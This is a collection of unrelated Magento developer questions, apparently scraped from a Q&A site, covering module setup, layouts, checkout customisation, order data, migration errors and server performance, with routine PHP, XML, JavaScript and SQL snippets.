in my magento install, all products are configurable products where the size is the super attribute, a while ago i was naming the products [PRODUCT_CODE] - [COLOUR], like 999MBELT - Black however this would have the colour displace twice as the colour attribute was in the product description and was told to remove it

i have now been tasked with fixing the invoices by including what colour a product is, i know how to do this, i just have to edit the serialized string in sales_flat_order_item.product_options and change

s:15:"attributes_info";a:1:{i:0;a:2:{s:5:"label";s:4:"Size";s:5:"value";s:2:"58";}

to something like this

s:15:"attributes_info";a:2:{i:0;a:2:{s:5:"label";s:4:"Size";s:5:"value";s:2:"58";}i:1;a:2:{s:5:"label";s:6:"Colour";s:5:"value";s:10:"Dark Brown";}}

now i know how i'm going to go about doing this, the problem is that i can't find out where to put my code

so i'm wondering, where does magento serialize the original array and store in in sales_flat_order_item


texts:
Here is my situation. I have a store for each country I serve and a view for each language supported.

I will have pages for the different languages.

My question is how do I create a menu for my pages in Magento without editing the templates? Is it even possible?

And how can I have a changing menu for each language I support (it will not be divided by countries)?

If not possible, how can I detect which language was selected so I can use a if in my code?

And since I have my Magento setup divided in multiple countries and languages, and that I have a custom design (template), how can I load multiple header templates for each languages without having to copy my whole custom template?

Meaning is there a way to have as a base template without changing the base template of Magento with different header templates?


texts: Magento 2.3 Compilation Command Break without any error, how can track the actual error?

texts: When run compile command break automatically, no error found in log file, how can i track the actual error?


texts:
In Magento 2 admin grid system, the one that uses ui-components, while the content of the grid is loading there is a spinner over the grid content.
.

When the grid is loaded, the spinner goes away.

What's the code js that makes it disappear when the grid contents are loaded?


texts: Associated product in multiple positions in same grouped product

texts:
We are creating grouped products based around images of engine and part schematics. Those schematics have number markers for each specific piece of the schematic and we're able to match the position of the associated product to the number marker in the schematic.

Our problem is that some schematics have the same part in multiple positions. An example, the same washer may show up in position 1, 15, and 40. The associated product grid only allows us to indicate one position for that washer.

Any ideas on how we could configure a grouped product to allow for multiple positions of an associated product? I've been digging for several hours now trying to find a way to add an additional attribute to an associated product but I'm not finding any possibilities there.


texts: Magento 2, plugin for MaintenanceEnableCommand does not get executed

texts:
Considering below in etc/di.xml:

<config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:ObjectManager/etc/config.xsd">
    <type name="Magento\Setup\Console\Command\MaintenanceEnableCommand">
        <plugin name="custom_maintenance" type="Custom\Module\Console\Command\MaintenanceEnableCommand" />
    </type>
</config>

wondering why below in Custom\Module\Console\Command\MaintenanceEnableCommand path does not get executed?

public function afterIsEnable(\Magento\Setup\Console\Command\MaintenanceEnableCommand $subject)
    {
        echo "in plugin";

    }


texts: Instantiate Mage.app to connect to remote install inside local install

texts:
I am working on migrating an old 1.4 site. Part of this migration is building a feature that moves tons of product information into a dedicated "product library" module (a custom entity not related to products).

The API is pretty restricting in 1.4 as there are a number of calls I can do to pull information, but they each require a handful of SOAP requests for each "product". This is incredibly slow.

What I am hoping to try (or at least explore to see if it will be worth it) is to instantiate a different instance of Mage.app inside my module's controller/helper/etc that would connect to the remote store's database directly so that I would be able to call the collections myself.

I am thinking it would be something such as:

<?php
// inside my local install module's controller or helper or wherever I decide to place it
$remote = new Mage;

// Load different local.xml config???
$remote->setConfig('...path to custom local.xml?');
$remote->setStore(1);
$remote->getModel('catalog/product')->getCollection();
// Do things with my collection ...

How can I connect to a remote install of Magento using a different configuration from within a local development install?


texts: Show grouped products without simple products in list page

texts: We need to display grouped products without simple products associated with it in listing page. By default in Magento 2, if there is no simple product associated with grouped product then the grouped product doesn't show in product listing ,but we need to display grouped products without simple products associated with it. Can anyone done this before.


texts: If Magento Community edition is released under AGPL does that mean I can demand that any user who has add-ons installed has to turn over the source code on request.


texts:
Trying to import customers from an old site to new, the idea behind the migration is to not cause any down time and have the site work exactly as before so i need the customers that were email activated to be so on the new site.

I've looked in customer_entity_int and in the customer_attribute table but too no avail, could someone tell me what magento does behind the scenes when a customer clicks the link in the email activation?


texts: Autoload Error: Module has been already defined

texts:
This error shows up when I do the following:

DL and paste this extension under DIR>vendor>magento-japan folder m2-jplocalize
Run the following command:

composer config repositories.veriteworksartifacts artifact \vendor\magento-japan

composer require magento-japan/m2-jplocalize

php bin/magento setup:upgrade
Then this error shows up:

Module 'Veriteworks_Region' from '\vendor\magento-japan\m2-jplocalize/region' has been already defined in '/vendor/veriteworks/m2-region'.

Where did I go wrong? Is this the correct way to install this extension?


texts: Add JavaScript Tag on severals pages via a Magento custom module + Back Office

texts:
I'm trying for hours to create a Magento custom module which add a JavaScript Tag on only several pages of the website.

The Js script that I would add in my pages must allow to get back values from Input "Text" of specifics forms (Sign up, Login, ...)

First of all, I didn't found any "how to" or "guides" where it's explained how to specify the pages where we want add the Js Tag.

Then, I would like add an admin console to configure the module:
 - Select pages where the JS tag will be add
 - Specify the input's ID of the forms for the JS

At present, I've read the Magento's documentation (http://www.magentocommerce.com/knowledge-base/entry/magento-for-dev-part-1-introduction-to-magento)
and tested their examples, so I know how to create a basic module, but I don't know how to create a module like it...

Everyone knows how can I do?

Thanks!


texts:
New Magento EE has many changes (and bug as well ) in the URL rewrite/redirect part for this reason I'm quite sure sample data are not 100% compatible with this new release.

Are there any sample data compatible for 1.13 ?
Assuming the answer to this question is 'no' I wonder if the below points are good.

Should I:

Install sample data
Install Magento
Run the migration script ?


texts: I have created a product, and made it visible in Catalog and Search, and I have it in a Category. The Category is showing up, and I can navigate to it, but it has not products listed within. Do you know what's wrong?


texts:
Anyone know PayPal Standard method provide Recurring functionality or not?
I want to modify Grand Total of PayPal Standard payment method, when we place order


texts: Problem with renaming image with magmi image attributes processor

texts:
I have a problem for renaming image with magmi, I use the magmi datapump API. I want an image with this name : [sku]-[imageName.jpg]

My image field : http://www.domain.com/data/qwerty.jpg
Image Renaming field : re::(.*)::{item.sku}-$1
Image name after import : /i/m/img52d8eaadeb5ce4.90098321.jpg

Someone have an idea?
Magmi : 0.7.18
Image attributes processor : 1.0.25


texts: Magento 2, after data migration, product page blank, products showing in category list view

texts:
I have an issue with migrating a store from Magento 1 to Magento 2.
All the data seems to be properly migrated, I can see all the products and associated images and categories in the backend and frontend.
The issue is when I try to open the product page the HTML content is not shown.
It's not a 404, when looking at the source, the header data is correct for the item.
The issue is with the body, it doesn't populate it with data.
Comparing to a working Magento 2 product page, it is missing both scripts and the html elements that should be in the body.
This it the end of the product page source:
<body data-container="body"
         data-mage-init='{"loaderAjax": {}, "loader": { "icon": "http://192.168.128.109/pub/static/version1586258559/frontend/Magento/luma/en_US/images/loader-2.gif"}}'
       itemtype="http://schema.org/Product" itemscope="itemscope" class="catalog-product-view product-kanister-5-l page-layout-no-layout-updates">
           </body>
</html>

The issue persists no matter what theme I use.
Any ideas what to investigate?


texts: Default form action isn't working in magento

texts:
I am new to magento, I created the button in magento\app\design\frontend\base\default\template\catalog\product\list.phtml for sending emails for quote information. It's showing the button and When customer click on quote button I redirected my custom action
that is getUrl('wishlist/quote/index')

<form id="wishlist-view-form" action="<?php echo $this->getUrl('*/*/update', array('wishlist_id' => $this->getWishlistInstance()->getId())) ?>" method="post">
            ....

                    <button class="form-button" type="submit" onclick="setLocation('<?php echo Mage::getUrl('wishlist/quote/index'); ?>')">Submit</button>

            </fieldset>
        </form>

but it's not working. By default, this form is firing  $this->getUrl('*/*/update', array('wishlist_id' => $this->getWishlistInstance()->getId())) form action.

and I created controller in Magento\app\code\core\Mage\Wishlist\controllers\QuoteController.php

<?php

class Mage_Wishlist_QuoteController extends Mage_Core_Controller_Front_Action
{

    public function indexAction()
    {
        Mage::log("customer");

        ....

        $this->_redirect('wishlist/index/index');
    }

}

and Magento\app\design\frontend\base\default\layout\wishlist.xml

<wishlist_quote_index>
        <reference name="content">
            <block name="customer.mail" type="wishlist/mail_email" template="wishlist/test.phtml"></block>
        </reference>
    </wishlist_quote_index>

why magento act like this? If I redirect using custom button how can I redirect/send/do some action?

thanks.


texts:
As the title states: How can I add meta noindex to all catalog search result pages in Magento2?

I am hoping for an XML Layout solution.


texts: How to add extra charge for custom payment method?

texts:
In my Magento-1.9.3
I need to add some extra charge for my Custom Payment method. Extra charge should be calculated and visible in frontend only while user select my Custom Payment method. But when Cash On Delivery will be selected that extra charge should not be calculated in Review Order.
I tried with some extensions. Those are working but I can't  see the changes in frontend.
Extension's I tried:
https://github.com/yvoronoy/magento-extension-extra-fee
https://github.com/PHOENIX-MEDIA/Magento-CashOnDelivery


texts: New Magento 2.0.0 module gives error: Setup version not specified

texts:
After creating a new module in Magento 2.0.0,

I am getting this below error:

a:4:{i:0;s:64:"Setup version for module 'Trimantra_HelloWorld' is not specified";i:1;s:2337:"#0 /var/www/html/magento/magento2.0/vendor/magento/framework/Module/DbVersionInfo.php(56): Magento\Framework\Module\DbVersionInfo->isModuleVersionEqual('Trimantra_Hello...', false)
#1 /var/www/html/magento/magento2.0/vendor/magento/framework/Module/DbVersionInfo.php(79): Magento\Framework\Module\DbVersionInfo->isSchemaUpToDate('Trimantra_Hello...')
#2 /var/www/html/magento/magento2.0/vendor/magento/framework/Module/Plugin/DbStatusValidator.php(55): Magento\Framework\Module\DbVersionInfo->getDbVersionErrors()
#3 [internal function]: Magento\Framework\Module\Plugin\DbStatusValidator->aroundDispatch(Object(Magento\Framework\App\FrontController\Interceptor), Object(Closure), Object(Magento\Framework\App\Request\Http))
#4 /var/www/html/magento/magento2.0/vendor/magento/framework/Interception/Chain/Chain.php(68): call_user_func_array(Array, Array)
#5 /var/www/html/magento/magento2.0/vendor/magento/framework/Interception/Interceptor.php(136): Magento\Framework\Interception\Chain\Chain->invokeNext('Magento\\Framewo...', 'dispatch', Object(Magento\Framework\App\FrontController\Interceptor), Array, 'storeCookieVali...')
#6 /var/www/html/magento/magento2.0/vendor/magento/module-store/Model/Plugin/StoreCookie.php(78): Magento\Framework\App\FrontController\Interceptor->Magento\Framework\Interception\{closure}(Object(Magento\Framework\App\Request\Http))
#7 [internal function]: Magento\Store\Model\Plugin\StoreCookie->aroundDispatch(Object(Magento\Framework\App\FrontController\Interceptor), Object(Closure), Object(Magento\Framework\App\Request\Http))
#8 /var/www/html/magento/magento2.0/vendor/magento/framework/Interception/Interceptor.php(141): call_user_func_array(Array, Array)
#9 /var/www/html/magento/magento2.0/var/generation/Magento/Framework/App/FrontController/Interceptor.php(26): Magento\Framework\App\FrontController\Interceptor->___callPlugins('dispatch', Array, Array)
#10 /var/www/html/magento/magento2.0/vendor/magento/framework/App/Http.php(115): Magento\Framework\App\FrontController\Interceptor->dispatch(Object(Magento\Framework\App\Request\Http))
#11 /var/www/html/magento/magento2.0/vendor/magento/framework/App/Bootstrap.php(258): Magento\Framework\App\Http->launch()
#12 /var/www/html/magento/magento2.0/index.php(41): Magento\Framework\App\Bootstrap->run(Object(Magento\Framework\App\Http))
#13 {main}";s:3:"url";s:132:"/magento/magento2.0/admin/admin/system_config/edit/section/dev/key/bac1443deb92fa33b3b61828bf3918c5dc7afe8e42d5f7eb69344bbc843927a5/";s:11:"script_name";s:29:"/magento/magento2.0/index.php";}

Any ideas of what am I doing wrong ?


texts: Zend_Mail function not working in magento 2

texts:
i want send mail menually.
Is there any othere option to send mail in magento 2.

$html_body = 'Test Mail';
$from = "example@gmail.com";
$nameFrom = "From Name";
$to = "example@gmail.com";
$nameTo = "To Name";

$email = new \Zend_Mail();
$email->setSubject("Email Subject");
$email->setBodyText($html_body);
$email->setFrom($from, $nameFrom);
$email->addTo($to, $nameTo);
$email->send();


texts: What tables are affected when calling catalog/product delete in Magento

texts:
Background:  I have inherited a rather large import routine running as a custom Magento module. It deals with importing products, categories, images, accessories, associations, etc....pretty much everything.   Most of it is now working.  However when it comes to importing Accessories I run into all sorts of Integrity constraint violations (duplicate entries) or foreign key  restriction issues with tables like cataloginventory_stock_item.

Actual question: When running the catalog/product delete commands early on in the process, e.g.

 $collection = Mage::getModel('catalog/product')->getCollection();
         foreach($collection as $key=>$value)
         {
             Mage::getModel('catalog/product')->load($value->entity_id)->delete();

         }

what tables get affected by this, is it just the product_entity table or are various other product related tables in background also modified?

I am trying to work out what tables I may manually need to truncate (can this be done via a Magento model/method ?) or what ones will be affected properly along the way by the magento core.

Many thanks


texts: Magento 2 : Extra fee not adding in Paypal Express Checkout

texts:
I am trying to checkout with paypal express but it gives error of PayPal gateway has rejected request. The totals of the cart item amounts do not match order amounts". For solution I am adding event.xml and observer.
 <event name="payment_cart_collect_items_and_amounts">
        <observer name="paymentfee" instance="Vendor\Extension\Observer\AddCustomAmountItem" />
 </event>

observer file execute function like,
public function execute(Observer $observer)
    {
        $cart = $observer->getEvent()->getCart();
        $customAmount = 100;
        $cart->addCustomItem(__('Custom Amount'), 1, 100);
    }


texts: Upgrade to 1.9.3.6 results in getFallbackScheme() error

texts:
I've upgraded Magento to 1.9.3.6 using Magento Connect and the "Mage_All_Latest" option. Upgrading from 1.8.1.0 BTW.

After the upgrade took I'm not able to reach both front- and backend. I get a blank page reading:

Fatal error: Call to a member function getFallbackScheme() on null in app/code/core/Mage/Core/Model/Design/Package.php on line 447

Now I understand that this could have something to do with an extension not being compatible with Magento 1.9 and I should disable modules to find out which one it is. However, I'm not able to reach my backend as well as my frontend. My question would be how to proceed since both front and backend are broken. Does it have anything to do with incompatible modules or I'm I simply wasting my time here as the upgrade itself has gone wrong?


texts: How to allow apostrophe (') in Magento attribute

texts:
I have a create attribute called acloth'size for product and I have enabled the Use In Search Results Layered Navigation option in the backend. So while doing search, I am getting MySQL error

a:5:{i:0;s:1106:"SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''size_idx.entity_id) AS `count` FROM `catalog_product_entity` AS `e`
 INNER JOIN' at line 1, query was: SELECT `acloth'size_idx`.`value`, COUNT(acloth'size_idx.entity_id) AS `count` FROM `catalog_product_entity` AS `e`
 INNER JOIN `catalogsearch_result` AS `search_result` ON search_result.product_id=e.entity_id AND search_result.query_id='26'

I am getting the error of the product attribute field name. Is there any way to allow the apostrophe (') in search for the product attribute.


texts: how to delete an input field in knockoutjs template in magento2

texts:
On checkout page, there is a company field that I need to remove from the shipping address form. Furthermore, I need to change the city and region fields to make them dependent dropdowns.

I have overriden checkout_index_index.xml layout definition. I have just removed the corresponding item for company, and then refresh the page, but the field is still appearing.

How to do it?


texts: How to get block in custom phtml with selected array of values

texts:
I am trying to get the same block on two custom phtml files,

abc.phtml here i need selected data from array,

xyz.phtml here i need all data from array, how to achieve this?

My format:
 <?php echo $this->getLayout()->createBlock("Amasty\Storelocator\Block\Location")->setTemplate("Amasty_Storelocator::center.phtml")->toHtml(); ?>


texts: Show Footer when user stops scrolling the page in magento 2.3.2

texts:
How can i make a footer visible when user stops scrolling the page. Currently the footer is visible only when user scrolls till bottom. But i want to show the footer any time the user stops scrolling down in between.

See https://prnt.sc/pm8jjv


texts: Theme Preview Image does not appear on view theme admin

texts:
I just following this tutorial https://jamersan.com/lets-get-started-theming-magento-2-part-1/ , in this tutorial I learn about how to make Magento Theme, but unfortunately I unable to show Theme Preview Image.

When my previous Themes is having it:

theme.xml (myshop/app/design/frontend/MyCompany/default/theme.xml)

The Image

Database Table

I am curious why the preview image does not show on my theme info page ?

Any help about it extremely appreciated


texts: Shipping based on SKU - Magento CE 1.9.1.0

texts:
I need a solution to a problem that I've been struggling with for some time now.

I need some sort of shipping rule that changes price dependent on the END of an SKU.

For example, if a SKU ended xxxx-TICK it would be charged at £5.00, where as a SKU ending in xxxx-PHYS would be charged at £10.00.

I've not come across any post or plugin that could solve this.

I'm open to all ideas!!


texts: How to set dynamic value to input type="text" like select drop-down from magento 2 admin block class?

texts:
I have custom module for admin where in block there is form.
I want to set dynamic value to input type="text" but not able to set.
Please, see my snippet below:

    $fieldset->addField(
                    'category_code', 'text', ['name' => 'category_code','value'=>'11', 'label' => __('Category Code'), 'title' => __('Category Code'), 'required' => true]
            );
            }else{
            $fieldset->addField(
                    'category_code', 'text',['name' => 'category_code1',
                          'value'=> $this->vendorAutoCode(),
                        'label' => __('Category Code'), 'title' => __('Category Code'), 'required' => true]
            );
            }
public function vendorAutoCode(){
         //str_pad(rand(0,9999), 5, "0", STR_PAD_LEFT);
      return  str_pad(rand(0,9999), 5, "0", STR_PAD_LEFT);
    }


texts: Add to cart glide image animation | Fly to cart image animation. PHP/jQuery/JavaScript validation on successfully adding product to cart

texts:
I am trying to make a simple glide animation when adding product to the cart to indicate and "highlight" that the product was added.

I managed to create a simple (not the best) glide animation for the time being, however, ran into a snag. I need to run the animation only when the product is actually added. Is there any way I can find that out using jQuery/JavaScript? So far, when user don't chose the "option" and adding to cart fails the validation, the animation still kicks in.

This is my code so far:

// Glide image to the Cart
        jQuery('#product-addtocart-button').click(function(){
            let GlideImage = jQuery('.fotorama__stage__frame > img').attr('src');
            jQuery('.product-info-main').append("

");
            jQuery(glideimageclone).animate({
                    width: "10%",
                    right: "100",
                    top: "0",
                    height: "auto",
                    opacity: "0",
            });
        });
// Glide image to the cart

EDIT:

I am open for PHP solutions now too.


texts:
It appears that there is no longer a "Developer" tab in the Admin Configuration/Advanced tab in version 2.2.5 production mode.  Although the documentation still indicates there is, I have seen a couple of references in the blogs about its removal.

I am trying to figure out how to minify and merge my js and css files, or if I really should?


texts: Which format of SUPEE 5994 for version 1.4.2.

texts: Has anyone successfully applied the patched SUPEE 5994 on version CE 1.4.2 this version appears to be not be addressed in the patch download options.


texts: how to change "add to wish list" button with an image

texts:
How do I change this 'add to wish list' button into an icon? I have a png file for this button

I did some research online. Some people say by CSS, but not work for me
<style>
.product-social-links .action.towishlist:before {
    background-image: url('/wysiwyg/icons-like-customize-share-sized.png');
}
</style>


texts: Magento 2.2: Console throws MIME type error for JS & CSS files

texts:
I have an error in magento 2.2 frontend and backend.
Scripts and stylesheets fail to load, the console states that the MIME type is incorrect and require.js can't be loaded.
Problem still occurs after deploying new static content, removing cache folders, cleaning and flushing the cache and re-indexing.


texts: Actually, I created a website in Magento admin panel and please anyone can suggest me how to call this website.


texts:
Basically I am trying to add new custom drop-down option with values in Shipping Method option, in one page checkout. I am following this tutorial to create attributes and confused about some issues. To add static options to drop-down we can add below code.

        'option'     => array (
        'values' => array(
            0 => 'Small',
            1 => 'Medium',
            2 => 'Large',
        )

1) How can I add dynamic options to my select drop-down while creating an attribute ?

2) What is the difference between

'source'        => 'eav/entity_attribute_source_table'

'source'        => 'eav/entity_attribute_source_boolean'

'source'        => 'yourmodule/source_option'

3) How, where and when to use above source options ?

4) What is the difference between backend_model, backend_type and backend_table ?

Is there any tutorial that could guide me on complete parameters for attributes, its usages and sample code ?

Apart from the above technical concerns, I still do not know how to add a custom drop-down in shipping method.

Thanks in advance.


texts: performance problems on an 8 Cores VPS with 6 GB RAM...Shall I buy the Litespeed webserver?

texts:
I have this VPS:

RAM: 6144 MB
CPU: 8 Cores
SSD hard disk

I have the following Magento accounts on my VPS server:

1. Magento ver. 1.9.1.0 with php 5.5
2. Magento ver. 2.1.0 with php 5.6
3. another installation of Magento - ver. 1.9.1.0 with php 5.6

The server often has a load of 5 or 6 and the websites run slow.

My hosting provides says this:

"The load 5-6 is normal in your case. Its quite busy VM, however you have 6 cores, and anything bellow 6 load points will not affect performance.

Replacing PHP-CGI/Apache with litespeed webserver will reduce the load though. Anyway, things looks normal with load consideration heavy PHP traffic. Are you have any slow downs? Should be any with this load. Consider LSWS webserver."

What do you think? Shall I actually get the Litespeed webserver? It would cost me an extra $20/month. Would it increase the perfomance considerably? I tried upgrading the 1.9.1 to 1.9.2.4 but it was not successful...


texts: Magento2: Why does the Compare Products sidebar on category pages not show up, but return when I delete a certain layout file? See further explanation

texts:
The Compare Products sidebar on category pages does not show up, and I was trying to figure out why. So I temporarily deleted files under the app/design/frontend/customer-name/default folder to see if it would come back (with help of version control to restore them).
I discovered that when I temporarily delete the file in app/design/frontend/customer-name/default/Magento_Catalog/layout/catalog_category_view.xml, the Compare Products sidebar on category pages returns.

When I try to re-add this file with only boilerplate layout xml code, it disappears again.
Adding a layout xml file with only boilerplate code should not change anything, right? Here is that file before I delete it:

<?xml version="1.0"?>
<page layout="1column" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:View/Layout/etc/page_configuration.xsd">
    <head>
        <css src="css/listing.css" />
        <css src="css/brand.css" />
        <link src="Magento_Catalog::js/body-class-tag-brand-modify.js" />
        <link src="js/category.js" />
    </head>
<body>
        <referenceContainer name="content" >
            <block class="Magento\Catalog\Block\Category\View" name="this.is.a.brand" template="Magento_Catalog::category/brand_tag_class.phtml"/>
           <block class="CompanyName\CategoryPage\Block\FeaturedInCategory" name="category.products.list.no.toolbar" template="Magento_Catalog::product/list_without_toolbar.phtml" />
        </referenceContainer>
        <move element="category.image" destination="columns.top" before="page.main.title"/>
    </body>
</page>

Here is the file when I re-add with only boilerplate layout xml code:

<?xml version="1.0"?>
<page layout="1column" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:View/Layout/etc/page_configuration.xsd">
    <body>
    </body>
</page>


texts: How to change currency on country change in shipping form in the checkout page magento 2.3

texts:
I want to update my checkout cart summary when the user selects the country from shipping address, cart price and currency change according to the country he selected in the shipping address.
How can I do this in Magento 2.3?


texts:
I've looked up which tables I can clear for Magento to perform better with Database requests, everyone so far is saying that the following are the best:

truncate log_customer;
truncate log_quote;
truncate log_summary;
truncate log_summary_type;
truncate log_url;
truncate log_url_info;
truncate log_visitor;
truncate log_visitor_info;
truncate log_visitor_online;
truncate report_viewed_product_index;
truncate report_compared_product_index;
truncate report_event;

But, my only problem is, I'm using Google Analytics, and I cleared these before and lost a lot of tracking data for GA, not just that but I had to force Magento to re-index everything.

Which tables are the ones that control indexing of URL's? And which ones are the safest to clear without affecting my GA stats?


texts: Set value of knockout datepicker from another script file got Error

texts:
I'm using Magento 2.4.1 and i successfully add datepicker in checkout page like this:
js file
define([
    'jquery',
    'ko',
    'Magento_Ui/js/form/element/abstract',

], function ($, ko, Component) {
    'use strict';
    return Component.extend({
        initialize: function () {
            this._super();
            ko.bindingHandlers.datepicker = {
                init: function (element, valueAccessor, allBindingsAccessor) {
                    var $el = $(element);
                    var writable = valueAccessor();
                    if (!ko.isObservable(writable)) {
                        var propWriters = allBindingsAccessor()._ko_property_writers;
                        if (propWriters && propWriters.datepicker) {
                            writable = propWriters.datepicker;
                        } else {
                            return;
                        }
                    }
                    writable($(element).val());
                },
                update: function (element, valueAccessor) {
                    var widget = $(element).data("DatePicker");

                    if (widget) {
                        var date = ko.utils.unwrapObservable(valueAccessor());
                        widget.date(date);
                    }

                }
            };
            return this;
        }
    });
});

html file
<div class="deliver-date-container">
  <input class="input-text" type="text" data-bind="
      event: {change: userChanges},
      hasFocus: focused,
      value: value,
      datepicker: true,
      attr: {
          name: inputName,
          placeholder: placeholder,
          'aria-describedby': noticeId,
          disabled: disabled
      }" readonly="true" name="ddate" />
</div>

In another JS file i tried to set the value like this:
$('[name="ddate"]').datepicker('setDate', customDate);

but when i submit the form it always get an empty error


texts:
Can anyone imagine why the minimum order amount is going to get ignored (or not checked) although every settings are controlled a couple of times and store configs as well (the are all taking the settings of the main configuration).

I did an output of the storeconfig amount in the cart and the right value is there as well.


texts: Magento 2.3.2 not loading my custom layout

texts:
I'm trying to override the customer login layout with no success. Magento for some reason is not loading my layout. I'm using Magento 2.3.2.

This is my theme structure:

I'm following this guide: https://belvg.com/blog/overriding-layout-files-in-magento-2.html with no success. Indeed, the steps are pretty straightforward and simple to understand.

I tried everything, even broken the XML syntax to get some error on screen, but nothing. I tried with cache:flush and setup:upgrade after every change.

Hope you can help me, thanks!


texts: Newsletter mail is not been sending to subscribers in Magento 2.1.6

texts:
I'm using magento 2.1.6 .The Newsletter mail is not been sending to subscribers.
Have successfully added template to the queue.But the mail is not been sent to the subscribers even after the Queue Date start time.Im using Siteground as server and following Indian standard time.


texts: POP up (Sign IN & Create New Account ) Problem

texts:
we use theme claue
we faced problem in POP up (Sign IN & Create New Account ) as per attached image Create New Account loading & Sign IN get error (could not authenticate. please try again later) while i use the login account page everything is working well , so kindly advice

https://i.ibb.co/X3vDDwm/2019-12-05-123918.jpg

https://i.ibb.co/cCy2CcT/2019-12-05-1234551.jpg


texts: Magento2: Argument 1 passed to Magento\InventorySalesAdminUi

texts:
I deleted all products directly from database:

delete from catalog_product_entity;

But now when I open catalog-> products then get issue:

Argument 1 passed to Magento\InventorySalesAdminUi\Model\GetSalableQuantityDataBySku::execute() must be of the type string, null given, called in /home/user/domains/domain.com/public_html/vendor/magento/module-inventory-sales-admin-ui/Ui/Component/Listing/Column/SalableQuantity.php on line 70

I try reset index, reidnex, deploy cf etc. but still no work. Any solution?

I have solved issue:

UPDATE catalog_product_entity SET sku='' WHERE sku IS NULL;


texts: How to Recreate Magento 2 backend image upload in frontend

texts:
In Magento 2 there's a single image uploader look like this:

it uploads the image using AJAX and will return JSON serialized containing the uploaded image information. Is there a way to recreate this functionality in frontend phtml file?


texts: Compare a md5 password to Magento salt.password

texts:
i'm facing an issue, some of you may help me find a clue ?

i have password, that come from an external source. allready md5 applied on it

$external_password_md5;

what i'm trye to achieve is to compare that external password, with magento stored one

$magento_password = Mage::getModel("customer/customer")
                        ->setWebsiteId(Mage::app()
                        ->getWebsite()
                        ->getId())
                        ->loadByEmail($email)
                        ->getPasswordHash();

for as same email, external_password_md5 and magento password are relative the same inputed string (thay match in plain text), but i can't managed to get the two compared.

The fact is, that magento uses for password crypt this kind of code

 $magento_password = md5($salt.$password).':'.$salt;

even if I have the $salt, my external_password is allready md5, so applying magento way on allready md5 password won't give anything.

Has anyone an idea how to achieve a comparaison that works ?

"pseudo code"

if ($external_password_md5 == $magento_password)


texts: changing template for one of product media isn't working

texts:
I am presenting one product media section different from other. And i tried changing the template.

On catalog.xml file i can see this section is responsible for media

<block type="catalog/product_view" name="product.info" template="catalog/product/view.phtml">
    <block type="catalog/product_view_media" name="product.info.media" as="media" template="catalog/product/view/media.phtml">
         <block type="core/text_list" name="product.info.media.after" as="after" />
     </block>
     <!--/ other block section -->
</block>

And to overwrite it's template, in my local.xml file

<layout>
<!--/ Custom product -->
    <PRODUCT_776>
        <reference name="media">
            <action method="setTemplate">
                <template>catalog/product/view/media-custom.phtml</template>
            </action>
        </reference>
    </PRODUCT_776>
</layout>

But it's not overwriting this template.

More info:
 <remove name="media"/> under <product_776/> is removing the media section in product detail page. and i'm using rwd default theme as default fallback.


texts: How good it is to use Magento XML connect api for developing mobile apps?

texts:
I am new to magento development and need suggestions and experience. For an ecommerce store for target platforms (Web + Mobile).

For a highly customizable mobile apps. Is the Magento's XML Connect API a perfect choice ?


texts: Magento 2.3: Getting wrong product count on category page

texts:
I'm facing a strange issue which I couldn't point out where am I wrong. The issue is, when I navigate to any category page, the total result of product is showing as 1 though the category having many products.

But when I search the product via search bar, I'm getting the correct result of product counts.

Could anyone please help me to sort out this issue?

Code:

<?php
/**
 * Product list toolbar
 *
 * @var $block \Magento\Catalog\Block\Product\ProductList\Toolbar
 */
use Magento\Catalog\Model\Product\ProductList\Toolbar;
?>

    <?php if ($block->getLastPageNum() > 1): ?>
        <?php /* @escapeNotVerified */ echo __('Items %1-%2 of %3',
            '' . $block->getFirstNum() . '',
            '' . $block->getLastNum() . '',
            '' . $block->getTotalNum() . '') ?>
    <?php elseif ($block->getTotalNum() == 1): ?>
        <?php /* @escapeNotVerified */ echo __('%1 Total Result',
           '' . $block->getTotalNum() . '') ?>
    <?php else: ?>
        <?php /* @escapeNotVerified */ echo __('%1 Total Result',
            '' . $block->getTotalNum() . '') ?>
    <?php endif; ?>


texts:
I am using Magento 1.4, i can see many request's have "POST" HTTP verb in the request,
Specifically "POST" should not be necessarily used for "logoutAction".
Where the type of request "POST & GET" is defined in Magento 1 for controller requests ?


texts: Install Data is not executed in magento 2

texts:
I am trying to create a category attribute:
This is my file form Vendor/Module/Setup:
use Magento\Catalog\Model\Category;
use Magento\Catalog\Setup\CategorySetupFactory;
use Magento\Framework\Setup\InstallDataInterface;
use Magento\Framework\Setup\ModuleContextInterface;
use Magento\Framework\Setup\ModuleDataSetupInterface;

class InstallData implements InstallDataInterface
{

    private $categorySetupFactory;

    public function __construct(CategorySetupFactory $categorySetupFactory)
    {
        $this->categorySetupFactory = $categorySetupFactory;
    }

    public function install(ModuleDataSetupInterface $setup, ModuleContextInterface $context)
    {
        $installer = $setup;
        $installer->startSetup();
        $categorySetup = $this->categorySetupFactory->create(['setup' => $setup]);

        $categorySetup->addAttribute(
            Category::ENTITY,
            'content_category_page',
            [
                'type' => 'int',
                'label' => 'Content Page',
                'input' => 'select',
                'sort_order' => 100,
                'source' => 'Magento\Catalog\Model\Category\Attribute\Source\Page',
                'global' => 2,
                'visible' => true,
                'required' => true,
                'user_defined' => false,
                'default' => null,
                'group' => 'General Information',
                'backend' => ''
            ]
        );
        $installer->endSetup();
    }
}

The current version of the module is 1.0.1, so I increased it to 1.0.2 and run the setup:upgrade. After the module is updated to version 1.0.2 in the setup_module table, but my InstallData is not executed and the attribute is missing . Not sure what I am doing wrong here? Would you please advice ?
Thnx


texts:
Using Magento version 1.8.1.0, i am trying to upgrade to the latest version - ver 1.9.0.1.

Cache is disabled, Compilation is disabled.

When I check for upgrades in Magento Connect it shows the same 1.8 version files and says i already have the latest version.

And even if I try to use community/mage_all_latest I get the same result.
I wasn't able to find anything that could help me so i am asking for any clue that might point me to a way to fix this.


texts: Magento enable shipping method for virtual products

texts:
Hello we are using magento 1.9.2 and we have only virtual products. I want to apply shipping method for the virtual products which is not there in magento. Please help me in adding the shipping method to the virtual products.

Also I want the shipping rates should be configured in terms of distance.


texts: Mutiple fields search for products magento 2

texts:
I need to implement a multiple field search block on my website,
